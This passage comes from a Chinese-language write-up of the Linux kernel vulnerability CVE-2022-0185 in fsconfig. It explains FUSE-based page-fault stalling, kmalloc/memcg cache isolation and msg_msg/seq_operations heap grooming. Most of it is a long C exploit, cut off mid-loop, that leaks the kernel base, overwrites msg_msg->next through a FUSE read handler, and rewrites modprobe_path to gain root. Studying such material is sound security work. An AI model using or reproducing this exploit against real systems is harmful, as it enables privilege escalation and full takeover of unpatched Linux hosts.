off_t (*lseek) (const char *, off_t off, int whence, struct fuse_file_info *);
};

在使用时需要先实现上面函数表中的函数接口,我们自定义的用户态文件系统的操作其实都是通过对该函数表中定义的函数回调实现的。

不难想到,注册一个用户空间文件系统,为读写等接口注册回调函数,使用 mmap 将该文件系统中的一个文件映射到内存中,当进程在内核中读写这块 mmap 内存时,便会触发缺页异常,此时控制权便会转交到我们注册的回调函数当中,然而在回调函数中的操作是我们可以控制的,所以效果就很类似于userfaultfd了。

不过常规的 libfuse 库并不支持静态编译,这使得我们无法像以往一样先静态编译一个 exp 再传到远程,不过在此CVE的github仓库中存在其静态编译的操作。https://github.com/Crusaders-of-Rust/CVE-2022-0185

pipe_buffer

这里有两种利用方式,首先就是我们在 向pipe_buffer说yes! 文章中提到的使用pipe_buffer构造出页级的UAF,最终实现任意地址读写。这里简单介绍一下在这个漏洞中如何使用就行,不过多停留了 绝对不是因为我是懒狗不想写exp ,这篇文章重点还是看FUSE的用法,所以具体还是在另一种利用手法。

首先,在开始size = 4095时即便是传入的key\x00时也会在下一个object中写入一个"=",所以不幸的是不能直接修改下一个紧邻的pipe_buffer->page。前面也提到了这里选择的方式修改下一个object紧邻的下一个object,不过我们如果单纯使用pipe_buffer进行堆喷时会出现一个问题,在后续寻找被覆盖page指针的pipe_bufferidx时会出现一个大问题,那就是因为前面修改导致读取pipe时导致kernel panic。所以a3选择的办法是使用msg_msg进行大量堆喷,通过修改m_ts来判断哪个msg_msg是被覆盖掉了,之后这个msg_msg就不再使用防止出现kernel panic,那此时也就成功将漏洞转化成了off by null了,后续的使用其实就和上面的文章中一致了,不熟悉的朋友可以去看看。

当然这里还需要考虑的就是order了,此处申请的object对应的order为3。当然,各位知道知道的pipe提供fcntl(F_SETPIPE_SZ)调用可以去修改pipe_buffer的数量,所以可以达到对应的order当然msg_msg同理。

内部隔离分析

在看完第一种利用方式的朋友们可能会有点疑惑,”为什么可以使用msg_msg?”。在ctf-wiki中写了”在linux kernel 5.9之前和linux kernel 5.11之后都是存在堆块隔离的”。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
enum kmalloc_cache_type {
KMALLOC_NORMAL = 0,
#ifndef CONFIG_ZONE_DMA
KMALLOC_DMA = KMALLOC_NORMAL,
#endif
#ifndef CONFIG_MEMCG_KMEM
KMALLOC_CGROUP = KMALLOC_NORMAL,
#else
KMALLOC_CGROUP,
#endif
KMALLOC_RECLAIM,
#ifdef CONFIG_ZONE_DMA
KMALLOC_DMA,
#endif
NR_KMALLOC_TYPES
};

在kernel 5.14之后存在如上的cache type,其中常被认为隔离的是KMALLOC_CGROUPT其对应的是flag为GFP_KERNEL_ACCOUNT的申请,可以在slabinfo文件中看到其cache的名字为kmalloc-cg-*。而GFP_KERNEL则对应的就是KMALLOC_NORMAL类型,在slabinfo中就是普通的kmalloc-*

下面简单介绍一下内存隔离的原理:

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static __always_inline void *kmalloc(size_t size, gfp_t flags)
{
if (__builtin_constant_p(size)) {
#ifndef CONFIG_SLOB
unsigned int index;
#endif
if (size > KMALLOC_MAX_CACHE_SIZE)
return kmalloc_large(size, flags);
#ifndef CONFIG_SLOB
index = kmalloc_index(size);

if (!index)
return ZERO_SIZE_PTR;

return kmem_cache_alloc_trace(
kmalloc_caches[kmalloc_type(flags)][index],
flags, size);
#endif
}
return __kmalloc(size, flags);
}

在内核kmalloc的实现里面可以看到的是,会给kmem_cache_alloc_trace传入一个cache,另外kmalloc_caches是一个二重数组,首先是根据对应的type然后根据size确定不同的index取出最终的cache

这里重点看一下kmalloc_type函数

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define KMALLOC_NOT_NORMAL_BITS					\
(__GFP_RECLAIMABLE | \
(IS_ENABLED(CONFIG_ZONE_DMA) ? __GFP_DMA : 0) | \
(IS_ENABLED(CONFIG_MEMCG_KMEM) ? __GFP_ACCOUNT : 0))

static __always_inline enum kmalloc_cache_type kmalloc_type(gfp_t flags)
{
/*
* The most common case is KMALLOC_NORMAL, so test for it
* with a single branch for all the relevant flags.
*/
if (likely((flags & KMALLOC_NOT_NORMAL_BITS) == 0))
return KMALLOC_NORMAL;

/*
* At least one of the flags has to be set. Their priorities in
* decreasing order are:
* 1) __GFP_DMA
* 2) __GFP_RECLAIMABLE
* 3) __GFP_ACCOUNT
*/
if (IS_ENABLED(CONFIG_ZONE_DMA) && (flags & __GFP_DMA))
return KMALLOC_DMA;
if (!IS_ENABLED(CONFIG_MEMCG_KMEM) || (flags & __GFP_RECLAIMABLE))
return KMALLOC_RECLAIM;
else
return KMALLOC_CGROUP;
}

这里主要看一下KMALLOC_NOT_NORMAL_BITS的定义,因为kernel默认存在CONFIG_MEMCG_KMEM选项所以添加了__GFP_ACCOUNT标识为,以至于flag为GFP_KERNEL_ACCOUNT时不会直接返回KMALLOC_NORMAL了,这也就导致了堆块隔离。

根据上面的分析会发现在linux kernel 5.9之前确实没有KMALLOC_CGROUP这样一个新建的kmem_cache,不过其实在此之前依旧是存在隔离的,这里分析一下在linux kernel 5.9之前的隔离实现原理。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
struct kmem_cache {
struct kmem_cache_cpu __percpu *cpu_slab;
/* Used for retrieving partial slabs, etc. */
slab_flags_t flags;
unsigned long min_partial;
unsigned int size; /* The size of an object including metadata */
unsigned int object_size;/* The size of an object without metadata */
unsigned int offset; /* Free pointer offset */
#ifdef CONFIG_SLUB_CPU_PARTIAL
/* Number of per cpu partial objects to keep around */
unsigned int cpu_partial;
#endif
struct kmem_cache_order_objects oo;

/* Allocation and freeing of slabs */
struct kmem_cache_order_objects max;
struct kmem_cache_order_objects min;
gfp_t allocflags; /* gfp flags to use on each alloc */
int refcount; /* Refcount for slab cache destroy */
void (*ctor)(void *);
unsigned int inuse; /* Offset to metadata */
unsigned int align; /* Alignment */
unsigned int red_left_pad; /* Left redzone padding size */
const char *name; /* Name (only for display!) */
struct list_head list; /* List of slab caches */
#ifdef CONFIG_SYSFS
struct kobject kobj; /* For sysfs */
struct work_struct kobj_remove_work;
#endif
#ifdef CONFIG_MEMCG
struct memcg_cache_params memcg_params;
/* For propagation, maximum size of a stored attr */
unsigned int max_attr_size;
#ifdef CONFIG_SYSFS
struct kset *memcg_kset;
#endif
#endif

#ifdef CONFIG_SLAB_FREELIST_HARDENED
unsigned long random;
#endif

#ifdef CONFIG_NUMA
/*
* Defragmentation by allocating from a remote node.
*/
unsigned int remote_node_defrag_ratio;
#endif

#ifdef CONFIG_SLAB_FREELIST_RANDOM
unsigned int *random_seq;
#endif

#ifdef CONFIG_KASAN
struct kasan_cache kasan_info;
#endif

unsigned int useroffset; /* Usercopy region offset */
unsigned int usersize; /* Usercopy region size */

struct kmem_cache_node *node[MAX_NUMNODES];
};

在之前的kmem_cache结构体的定义如上,可以看到的是内部会根据是否开启了MEMCG这个选项来添加struct memcg_cache_params memcg_params;这样一个额外的结构体。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct memcg_cache_params {
struct kmem_cache *root_cache;
union {
struct {
struct memcg_cache_array __rcu *memcg_caches;
struct list_head __root_caches_node;
struct list_head children;
bool dying;
};
struct {
struct mem_cgroup *memcg;
struct list_head children_node;
struct list_head kmem_caches_node;
struct percpu_ref refcnt;

void (*work_fn)(struct kmem_cache *);
union {
struct rcu_head rcu_head;
struct work_struct work;
};
};
};
};

可以看到的是首先会存放一个根slab的指针,在memcg_caches这里存放若干个子memcg slab管理结构。

C
1
2
3
4
struct memcg_cache_array {
struct rcu_head rcu;
struct kmem_cache *entries[0];
};

也就是说其可以通过根slab和子slab互相寻找。在上面这里结构体的定义中entries就是用于存放memcg slab的数组。所以可以理解为每一个根slab管理结构(根slab管理结构根据大小分类)都有一个对应的子memcg slab列表。

上面多为理论中的内容,下面讨论一下在实际面对时所遇到的问题:

在这个CVE中,所使用的所有分配对象的函数都为kmalloc那么这里先从这里看起

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static __always_inline void *kmalloc(size_t size, gfp_t flags)
{
if (__builtin_constant_p(size)) {
#ifndef CONFIG_SLOB
unsigned int index;
#endif
if (size > KMALLOC_MAX_CACHE_SIZE)
return kmalloc_large(size, flags);
#ifndef CONFIG_SLOB
index = kmalloc_index(size);

if (!index)
return ZERO_SIZE_PTR;

return kmem_cache_alloc_trace(
kmalloc_caches[kmalloc_type(flags)][index],
flags, size);
#endif
}
return __kmalloc(size, flags);
}

可以看到上面在分为了两条分支,根据的是size是否为定量,那么根据这个cve正好会分别进入上面的两条分支中。在分配msg_msg时会进入到下面的__kmalloc函数中,在分配ctx->legacy_data时则会进入到上面的分支中。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void *__kmalloc(size_t size, gfp_t flags)
{
struct kmem_cache *s;
void *ret;

if (unlikely(size > KMALLOC_MAX_CACHE_SIZE))
return kmalloc_large(size, flags);

s = kmalloc_slab(size, flags);

if (unlikely(ZERO_OR_NULL_PTR(s)))
return s;

ret = slab_alloc(s, flags, _RET_IP_);

trace_kmalloc(_RET_IP_, ret, size, s->size, flags);

ret = kasan_kmalloc(s, ret, size, flags);

return ret;
}
EXPORT_SYMBOL(__kmalloc);

这里主要关注下面的__kmalloc函数,可以看到其中会先进入到kmalloc_slab获取对应的slab,其实根据动态调试的结果看到的是这里的slab与分配ctx->legacy_data时进入kmem_cache_alloc_trace函数的第一个参数是一致的所以我当时就很迷惑,随即请教了a3又看了一下linux kernel 5.9的commit才知道会在slab_alloc函数中出现问题。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
static __always_inline void *slab_alloc_node(struct kmem_cache *s,
gfp_t gfpflags, int node, unsigned long addr)
{
void *object;
struct kmem_cache_cpu *c;
struct page *page;
unsigned long tid;

s = slab_pre_alloc_hook(s, gfpflags);
if (!s)
return NULL;
redo:
do {
tid = this_cpu_read(s->cpu_slab->tid);
c = raw_cpu_ptr(s->cpu_slab);
} while (IS_ENABLED(CONFIG_PREEMPT) &&
unlikely(tid != READ_ONCE(c->tid)));

barrier();

object = c->freelist;
page = c->page;
if (unlikely(!object || !node_match(page, node))) {
object = __slab_alloc(s, gfpflags, node, addr, c);
stat(s, ALLOC_SLOWPATH);
} else {
void *next_object = get_freepointer_safe(s, object);
if (unlikely(!this_cpu_cmpxchg_double(
s->cpu_slab->freelist, s->cpu_slab->tid,
object, tid,
next_object, next_tid(tid)))) {

note_cmpxchg_failure("slab_alloc", s, tid);
goto redo;
}
prefetch_freepointer(s, next_object);
stat(s, ALLOC_FASTPATH);
}

maybe_wipe_obj_freeptr(s, object);

if (unlikely(slab_want_init_on_alloc(gfpflags, s)) && object)
memset(object, 0, s->object_size);

slab_post_alloc_hook(s, gfpflags, 1, &object);

return object;
}

static __always_inline void *slab_alloc(struct kmem_cache *s,
gfp_t gfpflags, unsigned long addr)
{
return slab_alloc_node(s, gfpflags, NUMA_NO_NODE, addr);
}

这个函数其实就是对slab_alloc_node函数的套娃操作,然而slab_alloc_node函数内部首先会调用slab_pre_alloc_hook函数,起先并未注意到其返回值也是s所以并未当回事,那么现在详细分析一下

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static inline struct kmem_cache *slab_pre_alloc_hook(struct kmem_cache *s,
gfp_t flags)
{
flags &= gfp_allowed_mask;

fs_reclaim_acquire(flags);
fs_reclaim_release(flags);

might_sleep_if(gfpflags_allow_blocking(flags));

if (should_failslab(s, flags))
return NULL;

if (memcg_kmem_enabled() &&
((flags & __GFP_ACCOUNT) || (s->flags & SLAB_ACCOUNT)))
return memcg_kmem_get_cache(s);

return s;
}

可以看到最后会判断是否开启了memcg选项,并检测调用时的flags,所以也就是在这个位置导致slab改变了。

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
struct kmem_cache *memcg_kmem_get_cache(struct kmem_cache *cachep)
{
struct mem_cgroup *memcg;
struct kmem_cache *memcg_cachep;
struct memcg_cache_array *arr;
int kmemcg_id;

VM_BUG_ON(!is_root_cache(cachep));

if (memcg_kmem_bypass())
return cachep;

rcu_read_lock();

if (unlikely(current->active_memcg))
memcg = current->active_memcg;
else
memcg = mem_cgroup_from_task(current);

if (!memcg || memcg == root_mem_cgroup)
goto out_unlock;

kmemcg_id = READ_ONCE(memcg->kmemcg_id);
if (kmemcg_id < 0)
goto out_unlock;

arr = rcu_dereference(cachep->memcg_params.memcg_caches);

memcg_cachep = READ_ONCE(arr->entries[kmemcg_id]);

if (unlikely(!memcg_cachep))
memcg_schedule_kmem_cache_create(memcg, cachep);
else if (percpu_ref_tryget(&memcg_cachep->memcg_params.refcnt))
cachep = memcg_cachep;
out_unlock:
rcu_read_unlock();
return cachep;
}

进入函数内部查看会发现其就是对额外的结构体做的一系列操作

msg_msg

至此可以开始认真分析关于此利用方法了,首先考虑的是如何实现泄漏内核地址。我们知道msg_msg结构体如下:

C
1
2
3
4
5
6
7
8
9
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};

其中next指针指向的是msg_msgseg结构体,而这个结构体在前面的文章中提到过,当我们发送的消息大小大于0xfd0时将超出范围的内容补充到msg_msgseg结构体,总体结构就是一个单向链表的结构。这里选择的办法肯定不能是内存搜索,这样存在的问题太多了,很容易造成kernel panic

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

关注msg_msgseg结构体的分配过程可以知道的是在Linux kernel 5.4版本依旧是通过普通的slab申请的,所以这里的选择是尽可能小的生成msg_msgseg结构体,随后使用seq_operations结构体来泄漏出内核基地址。

C
1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

在以往的文章中介绍过这个结构体,这里简单提一下,这个结构体是内部全为函数指针的结构体,所以可以很轻松的泄漏。按照a3的做法,这里泄漏的办法是在每生成一个msg_msgseg时就分配一个seq_operations结构体,在最后完成msg_msg结构体的堆喷之后又大量堆喷seq_operations结构体,这样可以大大提高成功率使二者挨在一起再通过修改m_ts成员即可实现泄漏。

那么接下来需要考虑的是任意地址写的问题了

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len);
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen))
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

这里可以注意到的是在对msg_msg写完之后会进入下面的for循环,其会根据next指针然后再进行写,后面的写就是写入到msg_msgseg结构体中了。如果我们能够在第一次写的时候修改掉msg_msg->next指针即可实现任意地址写了。

面对上面的思路,使用userfaultfd是很明显可以实现的,不过既然这篇文章提到了FUSE那么这里肯定就使用FUSE了,不过思路都是一样的。所以这里的整体思路就是通过mmap创建两块连续的内存区域,让后一块内存区域和FUSE挂载点下的文件做映射,那么在读取下一块内存时就会进入到我们预先写到的read函数中去了,在这个处理函数中使用fsconfig中的漏洞去修改掉msg_msg->next指针,在结束处理函数之后就会继续往已经被我们修改的指针地址写入内容了,完成了任意地址写。这里因为只泄漏了内核基地址所以这里写的地方也选择的是modprobe_path进行提权。

综上可得exp

C
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
#define _GNU_SOURCE
#define FUSE_USE_VERSION 34
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <linux/mount.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <errno.h>
#include <stddef.h>
#include <fuse.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>

#define MSG_COPY 040000
#define MSG_TAG 0xAAAAAAAA
#define MSG_QUEUE_NUM 0x50
#define SEQ_FILE_NUM 0x100
#define PRIMARY_MSG_TYPE 0x41

size_t user_cs, user_ss, user_sp, user_rflags;
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*] status has been saved.");
}

struct list_head
{
struct list_head *next, *prev;
};

struct msg_msgseg
{
uint64_t next;
};

struct msg_msg
{
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
uint64_t next; /* struct msg_msgseg *next; */
void *security; /* NULL without SELinux */
/* the actual message follows immediately */
};

void errExit(char *err_msg)
{
puts(err_msg);
system("/bin/sh");
exit(-1);
}

void prepare_mod()
{
system("mkdir -p /tmp");
system("echo '#!/bin/sh' > /tmp/copy.sh");
system("echo 'cp /flag /tmp/myflag' >> /tmp/copy.sh");
system("echo 'chmod 777 /tmp/myflag' >> /tmp/copy.sh");
system("chmod +x /tmp/copy.sh");

system("echo -e '\\xFF\\xFF\\xFF\\xFF' > /tmp/dummy");

system("chmod +x /tmp/dummy");
}

void print_hex(char *buf, int size)
{
int i;
puts("======================================");
printf("data :\n");
for (i = 0; i < (size / 8); i++)
{
if (i % 2 == 0)
{
printf("%d", i / 2);
}
printf(" %16llx", *(size_t *)(buf + i * 8));
if (i % 2 == 1)
{
printf("\n");
}
}
puts("======================================");
}

void unshare_setup(uid_t uid, gid_t gid)
{
int temp;
char edit[0x100];
unshare(CLONE_NEWNS | CLONE_NEWUSER);
temp = open("/proc/self/setgroups", O_WRONLY);
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);
return;
}

int fsopen(const char *fs_name, unsigned int flags)
{
return syscall(__NR_fsopen, fs_name, flags);
}

int fsconfig(int fsfd, unsigned int cmd,
const char *key, const void *val, int aux)
{
return syscall(__NR_fsconfig, fsfd, cmd, key, val, aux);
}

uint64_t modprobe_path = -1;
int exp_fs_fd = -1;
int pipe_fd[2];

const char *evil_path = "evil";

int change_next()
{
char fake_msg[0x100];

((struct msg_msg *)fake_msg)->m_list.next = *(uint64_t *)"0x196082";
((struct msg_msg *)fake_msg)->m_list.prev = *(uint64_t *)"0x196082";
((struct msg_msg *)fake_msg)->m_type = *(uint64_t *)"0x196082";
((struct msg_msg *)fake_msg)->m_ts = *(uint64_t *)"0x196082";
((struct msg_msg *)fake_msg)->next = modprobe_path;
((struct msg_msg *)fake_msg)->security = *(uint64_t *)"0x196082";

fsconfig(exp_fs_fd, FSCONFIG_SET_STRING, "\x00", fake_msg + 1, 0);

write(pipe_fd[1], 'A', 1);
}

int evil_read(const char *path, char *buf, size_t size, off_t offset,
struct fuse_file_info *fi)
{
char evil_buf[0x1000];
char rev;

if (offset >= 0x1000)
return -1;

else if (offset + size > 0x1000)
size = 0x1000 - offset;

read(pipe_fd[0], &modprobe_path, 8);

memset(evil_buf, 0, sizeof(evil_buf));
strcpy(evil_buf, "/tmp/shell.sh");
memcpy(buf, evil_buf + offset, size);

read(pipe_fd[0], &rev, 1);

return size;
}

int evil_getattr(const char *path, struct stat *stbuf,
struct fuse_file_info *fi)
{
int res = 0;

memset(stbuf, 0, sizeof(struct stat));

if (strcmp(path, "/") == 0)
{
stbuf->st_mode = S_IFDIR | 0755;
stbuf->st_nlink = 2;
}
else if (strcmp(path + 1, evil_path) == 0)
{
stbuf->st_mode = S_IFREG | 0666;
stbuf->st_nlink = 1;
stbuf->st_size = 0x1000;
}
else
{
res = -ENOENT;
}

return res;
}

int evil_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
off_t offset, struct fuse_file_info *fi,
enum fuse_readdir_flags flags)
{
if (strcmp(path, "/") != 0)
return -ENOENT;

filler(buf, ".", NULL, 0, 0);
filler(buf, "..", NULL, 0, 0);
filler(buf, evil_path, NULL, 0, 0);
}

static const struct fuse_operations evil_ops = {
.getattr = evil_getattr,
.readdir = evil_readdir,
.read = evil_read,
};

struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x20 - sizeof(struct msg_msgseg)];
} primary_msg;

unsigned long kernel_addr = -1; // single_start
unsigned long kernel_base = 0xffffffff81000000;
unsigned long kernel_offset;

char *evil_args[] = {"exploit", "./temp", NULL};

int main(int argc, char **argv, char **envp)
{
save_status();

evil_args[0] = argv[0];

char *buf = malloc(0x4000);
unsigned long *point_buf = malloc(0x4000);
int victim_qid = -1;
int msqid[MSG_QUEUE_NUM];
char fake_secondary_msg[704];
struct msg_msg *nearby_msg;
struct msg_msg *nearby_msg_prim;
int fs_fd[0x10];
char m_ts_buf[0x10];
int seq_fd[SEQ_FILE_NUM];
cpu_set_t cpu_set;

unshare_setup(getuid(), getgid());
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
if (pipe(pipe_fd) < 0)
errExit("[-] FAILED to open pipe!");

if (!fork())
{
if (fuse_main(sizeof(evil_args) / sizeof(char *) - 1, evil_args,
&evil_ops, NULL) != 0)
errExit("[-] FAILED to create FUSE!");
}

for (int i = 0; i < 30; i++)
{
int ms_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
int ret = 0;
if (ms_qid < 0)
{
puts("[x] msgget!");
return -1;
}
*(long *)&primary_msg = PRIMARY_MSG_TYPE;
memset(&primary_msg.mtext, "\x00", sizeof(primary_msg) - sizeof(long));
ret = msgsnd(ms_qid, &primary_msg, 0xfd0 - 8, MSG_TAG);
if (ret < 0)
{
printf("[x] error at sending msg_msg on %d queue\n", i);
printf("%d\n", ret);
errExit("failed to send primary msg!");
}
}

for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
msqid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (msqid[i] < 0)
{
puts("[x] msgget!");
return -1;
}
}

puts("[*] spray msg_msg in half of message queues and seq_files...");
for (int i = 0; i < MSG_QUEUE_NUM / 2; i++)
{
int ret = 0;
*(long *)&primary_msg = PRIMARY_MSG_TYPE;
memset(&primary_msg.mtext, 'A' + i, sizeof(primary_msg) - sizeof(long));
ret = msgsnd(msqid[i], &primary_msg, sizeof(primary_msg) - 8, MSG_TAG);
if (ret < 0)
{
printf("[x] error at sending msg_msg on %d queue\n", i);
printf("%d\n", ret);
errExit("failed to send primary msg!");
}
if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("FAILED to open /proc/self/stat!");
}
fs_fd[0] = fsopen("ext4", 0);
if (fs_fd[0] < 0)
errExit("failed to fsopen!");
for (int i = 0; i < 255; i++)
fsconfig(fs_fd[0], FSCONFIG_SET_STRING, "aaaaaaa", "bbbbbbb", 0);
fsconfig(fs_fd[0], FSCONFIG_SET_STRING, "0x196082", "pwned", 0);

for (int i = MSG_QUEUE_NUM / 2; i < MSG_QUEUE_NUM; i++)
{
*(long *)&primary_msg = PRIMARY_MSG_TYPE;
memset(&primary_msg.mtext, 'A' + i, sizeof(primary_msg) - sizeof(long));
if (msgsnd(msqid[i], &primary_msg, sizeof(primary_msg) - 8, MSG_TAG) < 0)
{
errExit("failed to send primary msg!");
}
if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("FAILED to open /proc/self/stat!");
}

puts("[*] oob write to overwrite m_ts of one msg_msg...");
memset(m_ts_buf, '\0', sizeof(m_ts_buf));
*((long *)m_ts_buf) = 0xfd0 + 0xff0;
fsconfig(fs_fd[0], FSCONFIG_SET_STRING, "\x00", "196082196082196082ya7", 0);
fsconfig(fs_fd[0], FSCONFIG_SET_STRING, "\x00", m_ts_buf, 0);

puts("[*] spray more seq_operations...");
for (int i = MSG_QUEUE_NUM; i < SEQ_FILE_NUM; i++)
{
if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("FAILED to open /proc/self/stat!");
}

puts("[*] checking for oob reading...");
for (int i = 0; i < MSG_QUEUE_NUM; i++)
{
uint64_t recv_size;
// memset(buf, '\0', 0xfd0 + 0xfd0);
recv_size = msgrcv(msqid[i], buf, 0xfd0 + 0xff0 - 8 + 0x10, 0, MSG_COPY | IPC_NOWAIT);
if (recv_size < 0)
{
printf("Error code :%d\n", recv_size);
printf("Error index:%d\n", i);
errExit("FAILED to msgrcv(MSG_COPY)!");
}

if (recv_size == (0xfd0 + 0x18))
continue;

for (int j = 0; j < (0xfd0 + 0xfd0); j += 8)
{
if (*(uint64_t *)(buf + j) > kernel_base && (*(uint64_t *)(buf + j) & 0xfff) == 0x140)
{
printf("[+] get data leak: %p\n", *(uint64_t *)(buf + j));
kernel_addr = *(uint64_t *)(buf + j);
kernel_base = kernel_addr - 0x36f140;
kernel_offset = kernel_base - 0xffffffff81000000;
break;
}
}

if (kernel_addr != -1)
break;
}
if (kernel_addr == -1)
errExit("failed to leak kernel base!");

modprobe_path = 0xffffffff82891780 + kernel_offset;
printf("\033[32m\033[1m[+] kernel base: \033[0m%lx ", kernel_base);
printf("\033[32m\033[1moffset: \033[0m%lx\n", kernel_offset);
printf("[+] modprobe_path: %lx\n", modprobe_path);

write(pipe_fd[1], &modprobe_path, 8);

prepare_mod();

int evil_file_fd;
int ms_qid;

evil_file_fd = open("./temp/evil", O_RDWR);
if (evil_file_fd < 0)
errExit("[-] FAILED to open evil file in FUSE!");

char *nearby_page = (char *)mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
char *evil_page = (char *)mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE,
MAP_SHARED | MAP_FIXED, evil_file_fd, 0);

if (evil_page != (char *)0x1338000)
errExit("[-] FAILED to map for FUSE file!");
memset(nearby_page, 'a', 0x1000);
int i = 1;
while (1)
{
printf("try %d\n", i);

if ((ms_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) < 0)
errExit("failed to create msg_queue!");

exp_fs_fd = fsopen("ext4", 0);
if (exp_fs_fd < 0)
errExit("failed to fsopen!");
// write(pipe_fd[1], &exp_fs_fd, 4);
for (int i = 0; i < 255; i++)
